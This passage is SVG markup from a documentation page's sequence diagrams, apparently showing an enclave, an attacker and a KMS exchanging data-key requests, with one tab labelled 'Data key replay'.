<path d="M 352,432 L 360,432" fill="none" stroke="currentColor"></path>
<path d="M 368,432 L 376,432" fill="none" stroke="currentColor"></path>
<path d="M 384,432 L 392,432" fill="none" stroke="currentColor"></path>
<path d="M 400,432 L 408,432" fill="none" stroke="currentColor"></path>
<path d="M 416,432 L 424,432" fill="none" stroke="currentColor"></path>
<path d="M 432,432 L 440,432" fill="none" stroke="currentColor"></path>
<path d="M 448,432 L 456,432" fill="none" stroke="currentColor"></path>
<path d="M 464,432 L 472,432" fill="none" stroke="currentColor"></path>
<path d="M 480,432 L 488,432" fill="none" stroke="currentColor"></path>
<path d="M 496,432 L 504,432" fill="none" stroke="currentColor"></path>
<path d="M 0,448 L 48,448" fill="none" stroke="currentColor"></path>
<path d="M 48,448 L 256,448" fill="none" stroke="currentColor"></path>
<path d="M 256,448 L 504,448" fill="none" stroke="currentColor"></path>
<path d="M 504,448 L 520,448" fill="none" stroke="currentColor"></path>
<path d="M 0,96 L 0,448" fill="none" stroke="currentColor"></path>
<path d="M 48,16 L 48,64" fill="none" stroke="currentColor"></path>
<path d="M 48,64 L 48,96" fill="none" stroke="currentColor"></path>
<path d="M 48,96 L 48,288" fill="none" stroke="currentColor"></path>
<path d="M 48,288 L 48,448" fill="none" stroke="currentColor"></path>
<path d="M 48,448 L 48,464" fill="none" stroke="currentColor"></path>
<path d="M 72,288 L 72,336" fill="none" stroke="currentColor"></path>
<path d="M 256,16 L 256,80" fill="none" stroke="currentColor"></path>
<path d="M 256,112 L 256,144" fill="none" stroke="currentColor"></path>
<path d="M 256,144 L 256,384" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 256,448" fill="none" stroke="currentColor"></path>
<path d="M 256,448 L 256,464" fill="none" stroke="currentColor"></path>
<path d="M 504,16 L 504,96" fill="none" stroke="currentColor"></path>
<path d="M 504,96 L 504,448" fill="none" stroke="currentColor"></path>
<path d="M 504,448 L 504,464" fill="none" stroke="currentColor"></path>
<path d="M 520,96 L 520,448" fill="none" stroke="currentColor"></path>
<path d="M 256,80 L 256,88" fill="none" stroke="currentColor"></path>
<path d="M 256,104 L 256,112" fill="none" stroke="currentColor"></path>
<polygon points="64.000000,256.000000 52.000000,250.399994 52.000000,261.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 256.000000)"></polygon>
<polygon points="64.000000,336.000000 52.000000,330.399994 52.000000,341.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 336.000000)"></polygon>
<polygon points="120.000000,320.000000 108.000000,314.399994 108.000000,325.600006" fill="currentColor" transform="rotate(0.000000, 112.000000, 320.000000)"></polygon>
<polygon points="256.000000,64.000000 244.000000,58.400002 244.000000,69.599998" fill="currentColor" transform="rotate(0.000000, 248.000000, 64.000000)"></polygon>
<polygon points="272.000000,208.000000 260.000000,202.399994 260.000000,213.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 208.000000)"></polygon>
<polygon points="272.000000,432.000000 260.000000,426.399994 260.000000,437.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 432.000000)"></polygon>
<polygon points="504.000000,144.000000 492.000000,138.399994 492.000000,149.600006" fill="currentColor" transform="rotate(0.000000, 496.000000, 144.000000)"></polygon>
<polygon points="504.000000,384.000000 492.000000,378.399994 492.000000,389.600006" fill="currentColor" transform="rotate(0.000000, 496.000000, 384.000000)"></polygon>
<text text-anchor="middle" x="16" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="64" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="64" y="52" fill="currentColor">(</text>
<text text-anchor="middle" x="64" y="244" fill="currentColor">{</text>
<text text-anchor="middle" x="72" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="72" y="52" fill="currentColor">c</text>
<text text-anchor="middle" x="72" y="244" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="80" y="52" fill="currentColor">m</text>
<text text-anchor="middle" x="80" y="244" fill="currentColor">_</text>
<text text-anchor="middle" x="88" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="88" y="52" fill="currentColor">k</text>
<text text-anchor="middle" x="88" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="88" y="308" fill="currentColor">d</text>
<text text-anchor="middle" x="96" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="96" y="52" fill="currentColor">_</text>
<text text-anchor="middle" x="96" y="100" fill="currentColor">C</text>
<text text-anchor="middle" x="96" y="244" fill="currentColor">,</text>
<text text-anchor="middle" x="96" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="104" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="104" y="52" fill="currentColor">i</text>
<text text-anchor="middle" x="104" y="100" fill="currentColor">M</text>
<text text-anchor="middle" x="104" y="244" fill="currentColor">E</text>
<text text-anchor="middle" x="104" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="112" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="52" fill="currentColor">d</text>
<text text-anchor="middle" x="112" y="100" fill="currentColor">K</text>
<text text-anchor="middle" x="112" y="244" fill="currentColor">_</text>
<text text-anchor="middle" x="112" y="308" fill="currentColor">(</text>
<text text-anchor="middle" x="120" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="120" y="52" fill="currentColor">,</text>
<text text-anchor="middle" x="120" y="244" fill="currentColor">d</text>
<text text-anchor="middle" x="120" y="308" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="128" y="52" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="100" fill="currentColor">s</text>
<text text-anchor="middle" x="128" y="244" fill="currentColor">k</text>
<text text-anchor="middle" x="128" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="128" y="324" fill="currentColor">d</text>
<text text-anchor="middle" x="136" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="136" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="136" y="100" fill="currentColor">u</text>
<text text-anchor="middle" x="136" y="244" fill="currentColor">}</text>
<text text-anchor="middle" x="136" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="136" y="324" fill="currentColor">k</text>
<text text-anchor="middle" x="144" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="144" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="144" y="100" fill="currentColor">b</text>
<text text-anchor="middle" x="144" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="152" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="152" y="52" fill="currentColor">e</text>
<text text-anchor="middle" x="152" y="100" fill="currentColor">s</text>
<text text-anchor="middle" x="152" y="308" fill="currentColor">s</text>
<text text-anchor="middle" x="160" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="160" y="52" fill="currentColor">s</text>
<text text-anchor="middle" x="160" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="160" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="168" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="168" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="168" y="100" fill="currentColor">i</text>
<text text-anchor="middle" x="168" y="308" fill="currentColor">_</text>
<text text-anchor="middle" x="176" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="176" y="52" fill="currentColor">_</text>
<text text-anchor="middle" x="176" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="176" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="184" y="52" fill="currentColor">p</text>
<text text-anchor="middle" x="184" y="100" fill="currentColor">u</text>
<text text-anchor="middle" x="184" y="308" fill="currentColor">r</text>
<text text-anchor="middle" x="192" y="52" fill="currentColor">u</text>
<text text-anchor="middle" x="192" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="192" y="308" fill="currentColor">i</text>
<text text-anchor="middle" x="200" y="52" fill="currentColor">b</text>
<text text-anchor="middle" x="200" y="100" fill="currentColor">i</text>
<text text-anchor="middle" x="200" y="308" fill="currentColor">v</text>
<text text-anchor="middle" x="208" y="52" fill="currentColor">)</text>
<text text-anchor="middle" x="208" y="100" fill="currentColor">o</text>
<text text-anchor="middle" x="208" y="308" fill="currentColor">,</text>
<text text-anchor="middle" x="216" y="4" fill="currentColor">A</text>
<text text-anchor="middle" x="216" y="100" fill="currentColor">n</text>
<text text-anchor="middle" x="216" y="308" fill="currentColor">E</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="224" y="308" fill="currentColor">_</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="232" y="308" fill="currentColor">a</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="240" y="308" fill="currentColor">)</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">k</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="272" y="116" fill="currentColor">G</text>
<text text-anchor="middle" x="272" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="272" y="180" fill="currentColor">{</text>
<text text-anchor="middle" x="272" y="372" fill="currentColor">D</text>
<text text-anchor="middle" x="280" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="132" fill="currentColor">c</text>
<text text-anchor="middle" x="280" y="180" fill="currentColor">E</text>
<text text-anchor="middle" x="280" y="196" fill="currentColor">E</text>
<text text-anchor="middle" x="280" y="372" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="116" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="132" fill="currentColor">m</text>
<text text-anchor="middle" x="288" y="180" fill="currentColor">_</text>
<text text-anchor="middle" x="288" y="196" fill="currentColor">_</text>
<text text-anchor="middle" x="288" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="132" fill="currentColor">k</text>
<text text-anchor="middle" x="296" y="180" fill="currentColor">a</text>
<text text-anchor="middle" x="296" y="196" fill="currentColor">d</text>
<text text-anchor="middle" x="296" y="372" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="116" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="132" fill="currentColor">_</text>
<text text-anchor="middle" x="304" y="180" fill="currentColor">=</text>
<text text-anchor="middle" x="304" y="196" fill="currentColor">k</text>
<text text-anchor="middle" x="304" y="372" fill="currentColor">y</text>
<text text-anchor="middle" x="312" y="116" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="132" fill="currentColor">i</text>
<text text-anchor="middle" x="312" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="196" fill="currentColor">=</text>
<text text-anchor="middle" x="312" y="372" fill="currentColor">p</text>
<text text-anchor="middle" x="320" y="116" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="132" fill="currentColor">d</text>
<text text-anchor="middle" x="320" y="180" fill="currentColor">n</text>
<text text-anchor="middle" x="320" y="196" fill="currentColor">e</text>
<text text-anchor="middle" x="320" y="372" fill="currentColor">t</text>
<text text-anchor="middle" x="328" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="132" fill="currentColor">2</text>
<text text-anchor="middle" x="328" y="180" fill="currentColor">c</text>
<text text-anchor="middle" x="328" y="196" fill="currentColor">n</text>
<text text-anchor="middle" x="328" y="372" fill="currentColor">(</text>
<text text-anchor="middle" x="336" y="116" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="132" fill="currentColor">,</text>
<text text-anchor="middle" x="336" y="180" fill="currentColor">(</text>
<text text-anchor="middle" x="336" y="196" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="420" fill="currentColor">{</text>
<text text-anchor="middle" x="344" y="116" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="132" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="180" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="196" fill="currentColor">(</text>
<text text-anchor="middle" x="344" y="372" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="116" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="196" fill="currentColor">c</text>
<text text-anchor="middle" x="352" y="372" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="420" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="116" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="360" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="360" y="196" fill="currentColor">m</text>
<text text-anchor="middle" x="360" y="372" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="420" fill="currentColor">}</text>
<text text-anchor="middle" x="368" y="116" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="368" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="368" y="196" fill="currentColor">k</text>
<text text-anchor="middle" x="368" y="372" fill="currentColor">i</text>
<text text-anchor="middle" x="376" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="132" fill="currentColor">s</text>
<text text-anchor="middle" x="376" y="180" fill="currentColor">s</text>
<text text-anchor="middle" x="376" y="196" fill="currentColor">2</text>
<text text-anchor="middle" x="376" y="372" fill="currentColor">d</text>
<text text-anchor="middle" x="384" y="116" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="384" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="384" y="196" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="372" fill="currentColor">2</text>
<text text-anchor="middle" x="392" y="132" fill="currentColor">_</text>
<text text-anchor="middle" x="392" y="180" fill="currentColor">_</text>
<text text-anchor="middle" x="392" y="196" fill="currentColor">d</text>
<text text-anchor="middle" x="392" y="372" fill="currentColor">,</text>
<text text-anchor="middle" x="400" y="132" fill="currentColor">p</text>
<text text-anchor="middle" x="400" y="180" fill="currentColor">p</text>
<text text-anchor="middle" x="400" y="196" fill="currentColor">k</text>
<text text-anchor="middle" x="400" y="372" fill="currentColor">E</text>
<text text-anchor="middle" x="408" y="132" fill="currentColor">u</text>
<text text-anchor="middle" x="408" y="180" fill="currentColor">u</text>
<text text-anchor="middle" x="408" y="196" fill="currentColor">)</text>
<text text-anchor="middle" x="408" y="372" fill="currentColor">_</text>
<text text-anchor="middle" x="416" y="132" fill="currentColor">b</text>
<text text-anchor="middle" x="416" y="180" fill="currentColor">b</text>
<text text-anchor="middle" x="416" y="196" fill="currentColor">}</text>
<text text-anchor="middle" x="416" y="372" fill="currentColor">d</text>
<text text-anchor="middle" x="424" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="424" y="180" fill="currentColor">,</text>
<text text-anchor="middle" x="424" y="372" fill="currentColor">k</text>
<text text-anchor="middle" x="432" y="180" fill="currentColor">d</text>
<text text-anchor="middle" x="432" y="372" fill="currentColor">)</text>
<text text-anchor="middle" x="440" y="180" fill="currentColor">k</text>
<text text-anchor="middle" x="448" y="180" fill="currentColor">)</text>
<text text-anchor="middle" x="456" y="180" fill="currentColor">,</text>
<text text-anchor="middle" x="488" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="496" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="504" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>

</div>


<label class="tabs__label" for="tabs-7-1">Data key replay</label>
<div class="tabs__panel">

<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 536 489">
 <g transform="translate(8,16)">
<path d="M 48,64 L 248,64" fill="none" stroke="currentColor"></path>
<path d="M 0,96 L 48,96" fill="none" stroke="currentColor"></path>
<path d="M 48,96 L 80,96" fill="none" stroke="currentColor"></path>
<path d="M 280,96 L 504,96" fill="none" stroke="currentColor"></path>
<path d="M 504,96 L 520,96" fill="none" stroke="currentColor"></path>
<path d="M 256,112 L 280,112" fill="none" stroke="currentColor"></path>
<path d="M 264,176 L 280,176" fill="none" stroke="currentColor"></path>
<path d="M 56,224 L 64,224" fill="none" stroke="currentColor"></path>
<path d="M 80,224 L 88,224" fill="none" stroke="currentColor"></path>
<path d="M 96,224 L 104,224" fill="none" stroke="currentColor"></path>
<path d="M 112,224 L 120,224" fill="none" stroke="currentColor"></path>
<path d="M 128,224 L 136,224" fill="none" stroke="currentColor"></path>
<path d="M 144,224 L 152,224" fill="none" stroke="currentColor"></path>
<path d="M 160,224 L 168,224" fill="none" stroke="currentColor"></path>
<path d="M 176,224 L 184,224" fill="none" stroke="currentColor"></path>
<path d="M 192,224 L 200,224" fill="none" stroke="currentColor"></path>
<path d="M 208,224 L 216,224" fill="none" stroke="currentColor"></path>
<path d="M 224,224 L 232,224" fill="none" stroke="currentColor"></path>
<path d="M 240,224 L 248,224" fill="none" stroke="currentColor"></path>
<path d="M 48,256 L 72,256" fill="none" stroke="currentColor"></path>
<path d="M 104,288 L 112,288" fill="none" stroke="currentColor"></path>
<path d="M 56,320 L 72,320" fill="none" stroke="currentColor"></path>
<path d="M 56,368 L 248,368" fill="none" stroke="currentColor"></path>
<path d="M 0,384 L 48,384" fill="none" stroke="currentColor"></path>
<path d="M 48,384 L 256,384" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 504,384" fill="none" stroke="currentColor"></path>
<path d="M 504,384 L 520,384" fill="none" stroke="currentColor"></path>
<path d="M 0,96 L 0,384" fill="none" stroke="currentColor"></path>
<path d="M 48,16 L 48,64" fill="none" stroke="currentColor"></path>
<path d="M 48,64 L 48,96" fill="none" stroke="currentColor"></path>
<path d="M 48,96 L 48,256" fill="none" stroke="currentColor"></path>
<path d="M 48,256 L 48,384" fill="none" stroke="currentColor"></path>
<path d="M 48,384 L 48,400" fill="none" stroke="currentColor"></path>
<path d="M 72,256 L 72,320" fill="none" stroke="currentColor"></path>
<path d="M 256,16 L 256,80" fill="none" stroke="currentColor"></path>
<path d="M 256,112 L 256,384" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 256,400" fill="none" stroke="currentColor"></path>
<path d="M 280,112 L 280,176" fill="none" stroke="currentColor"></path>
<path d="M 504,16 L 504,96" fill="none" stroke="currentColor"></path>
<path d="M 504,96 L 504,384" fill="none" stroke="currentColor"></path>
<path d="M 504,384 L 504,400" fill="none" stroke="currentColor"></path>
<path d="M 520,96 L 520,384" fill="none" stroke="currentColor"></path>
<polygon points="64.000000,224.000000 52.000000,218.399994 52.000000,229.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 224.000000)"></polygon>
<polygon points="64.000000,320.000000 52.000000,314.399994 52.000000,325.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 320.000000)"></polygon>
<polygon points="120.000000,288.000000 108.000000,282.399994 108.000000,293.600006" fill="currentColor" transform="rotate(0.000000, 112.000000, 288.000000)"></polygon>
<polygon points="256.000000,64.000000 244.000000,58.400002 244.000000,69.599998" fill="currentColor" transform="rotate(0.000000, 248.000000, 64.000000)"></polygon>
<polygon points="256.000000,368.000000 244.000000,362.399994 244.000000,373.600006" fill="currentColor" transform="rotate(0.000000, 248.000000, 368.000000)"></polygon>
<polygon points="272.000000,176.000000 260.000000,170.399994 260.000000,181.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 176.000000)"></polygon>
<text text-anchor="middle" x="16" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="64" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="64" y="52" fill="currentColor">(</text>
<text text-anchor="middle" x="64" y="212" fill="currentColor">{</text>
<text text-anchor="middle" x="72" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="72" y="52" fill="currentColor">c</text>
<text text-anchor="middle" x="72" y="212" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="80" y="52" fill="currentColor">m</text>
<text text-anchor="middle" x="80" y="212" fill="currentColor">_</text>
<text text-anchor="middle" x="88" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="88" y="52" fill="currentColor">k</text>
<text text-anchor="middle" x="88" y="212" fill="currentColor">a</text>
<text text-anchor="middle" x="88" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="88" y="308" fill="currentColor">C</text>
<text text-anchor="middle" x="96" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="96" y="52" fill="currentColor">_</text>
<text text-anchor="middle" x="96" y="100" fill="currentColor">D</text>
<text text-anchor="middle" x="96" y="212" fill="currentColor">,</text>
<text text-anchor="middle" x="96" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="308" fill="currentColor">=</text>
<text text-anchor="middle" x="104" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="104" y="52" fill="currentColor">i</text>
<text text-anchor="middle" x="104" y="100" fill="currentColor">a</text>
<text text-anchor="middle" x="104" y="212" fill="currentColor">E</text>
<text text-anchor="middle" x="104" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="104" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="104" y="356" fill="currentColor">s</text>
<text text-anchor="middle" x="112" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="52" fill="currentColor">d</text>
<text text-anchor="middle" x="112" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="212" fill="currentColor">_</text>
<text text-anchor="middle" x="112" y="276" fill="currentColor">(</text>
<text text-anchor="middle" x="112" y="308" fill="currentColor">n</text>
<text text-anchor="middle" x="112" y="356" fill="currentColor">t</text>
<text text-anchor="middle" x="120" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="120" y="52" fill="currentColor">,</text>
<text text-anchor="middle" x="120" y="100" fill="currentColor">a</text>
<text text-anchor="middle" x="120" y="212" fill="currentColor">d</text>
<text text-anchor="middle" x="120" y="276" fill="currentColor">a</text>
<text text-anchor="middle" x="120" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="120" y="356" fill="currentColor">o</text>
<text text-anchor="middle" x="128" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="128" y="52" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="212" fill="currentColor">k</text>
<text text-anchor="middle" x="128" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="128" y="292" fill="currentColor">d</text>
<text text-anchor="middle" x="128" y="308" fill="currentColor">(</text>
<text text-anchor="middle" x="128" y="356" fill="currentColor">r</text>
<text text-anchor="middle" x="136" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="136" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="136" y="100" fill="currentColor">k</text>
<text text-anchor="middle" x="136" y="212" fill="currentColor">}</text>
<text text-anchor="middle" x="136" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="136" y="292" fill="currentColor">k</text>
<text text-anchor="middle" x="136" y="308" fill="currentColor">d</text>
<text text-anchor="middle" x="136" y="356" fill="currentColor">e</text>
<text text-anchor="middle" x="144" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="144" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="144" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="144" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="144" y="308" fill="currentColor">k</text>
<text text-anchor="middle" x="144" y="356" fill="currentColor">(</text>
<text text-anchor="middle" x="152" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="152" y="52" fill="currentColor">e</text>
<text text-anchor="middle" x="152" y="100" fill="currentColor">y</text>
<text text-anchor="middle" x="152" y="276" fill="currentColor">s</text>
<text text-anchor="middle" x="152" y="308" fill="currentColor">,</text>
<text text-anchor="middle" x="152" y="356" fill="currentColor">E</text>
<text text-anchor="middle" x="160" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="160" y="52" fill="currentColor">s</text>
<text text-anchor="middle" x="160" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="160" y="308" fill="currentColor">P</text>
<text text-anchor="middle" x="160" y="356" fill="currentColor">_</text>
<text text-anchor="middle" x="168" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="168" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="168" y="100" fill="currentColor">r</text>
<text text-anchor="middle" x="168" y="276" fill="currentColor">_</text>
<text text-anchor="middle" x="168" y="308" fill="currentColor">)</text>
<text text-anchor="middle" x="168" y="356" fill="currentColor">d</text>
<text text-anchor="middle" x="176" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="176" y="52" fill="currentColor">_</text>
<text text-anchor="middle" x="176" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="176" y="276" fill="currentColor">p</text>
<text text-anchor="middle" x="176" y="356" fill="currentColor">k</text>
<text text-anchor="middle" x="184" y="52" fill="currentColor">p</text>
<text text-anchor="middle" x="184" y="100" fill="currentColor">p</text>
<text text-anchor="middle" x="184" y="276" fill="currentColor">r</text>
<text text-anchor="middle" x="184" y="356" fill="currentColor">,</text>
<text text-anchor="middle" x="192" y="52" fill="currentColor">u</text>
<text text-anchor="middle" x="192" y="100" fill="currentColor">l</text>
<text text-anchor="middle" x="192" y="276" fill="currentColor">i</text>
<text text-anchor="middle" x="192" y="356" fill="currentColor">C</text>
<text text-anchor="middle" x="200" y="52" fill="currentColor">b</text>
<text text-anchor="middle" x="200" y="100" fill="currentColor">a</text>
<text text-anchor="middle" x="200" y="276" fill="currentColor">v</text>
<text text-anchor="middle" x="200" y="356" fill="currentColor">)</text>
<text text-anchor="middle" x="208" y="52" fill="currentColor">)</text>
<text text-anchor="middle" x="208" y="100" fill="currentColor">y</text>
<text text-anchor="middle" x="208" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="216" y="4" fill="currentColor">A</text>
<text text-anchor="middle" x="216" y="276" fill="currentColor">E</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="224" y="100" fill="currentColor">a</text>
<text text-anchor="middle" x="224" y="276" fill="currentColor">_</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="232" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="232" y="276" fill="currentColor">a</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="240" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="240" y="276" fill="currentColor">)</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="248" y="100" fill="currentColor">a</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">k</text>
<text text-anchor="middle" x="256" y="100" fill="currentColor">c</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="100" fill="currentColor">k</text>
<text text-anchor="middle" x="272" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="132" fill="currentColor">d</text>
<text text-anchor="middle" x="296" y="148" fill="currentColor">E</text>
<text text-anchor="middle" x="296" y="164" fill="currentColor">E</text>
<text text-anchor="middle" x="304" y="132" fill="currentColor">k</text>
<text text-anchor="middle" x="304" y="148" fill="currentColor">_</text>
<text text-anchor="middle" x="304" y="164" fill="currentColor">_</text>
<text text-anchor="middle" x="312" y="132" fill="currentColor">=</text>
<text text-anchor="middle" x="312" y="148" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="164" fill="currentColor">d</text>
<text text-anchor="middle" x="320" y="132" fill="currentColor">r</text>
<text text-anchor="middle" x="320" y="148" fill="currentColor">=</text>
<text text-anchor="middle" x="320" y="164" fill="currentColor">k</text>
<text text-anchor="middle" x="328" y="132" fill="currentColor">a</text>
<text text-anchor="middle" x="328" y="148" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="164" fill="currentColor">=</text>
<text text-anchor="middle" x="336" y="132" fill="currentColor">n</text>
<text text-anchor="middle" x="336" y="148" fill="currentColor">n</text>
<text text-anchor="middle" x="336" y="164" fill="currentColor">r</text>
<text text-anchor="middle" x="344" y="132" fill="currentColor">d</text>
<text text-anchor="middle" x="344" y="148" fill="currentColor">c</text>
<text text-anchor="middle" x="344" y="164" fill="currentColor">a</text>
<text text-anchor="middle" x="352" y="132" fill="currentColor">o</text>
<text text-anchor="middle" x="352" y="148" fill="currentColor">(</text>
<text text-anchor="middle" x="352" y="164" fill="currentColor">n</text>
<text text-anchor="middle" x="360" y="132" fill="currentColor">m</text>
<text text-anchor="middle" x="360" y="148" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="164" fill="currentColor">d</text>
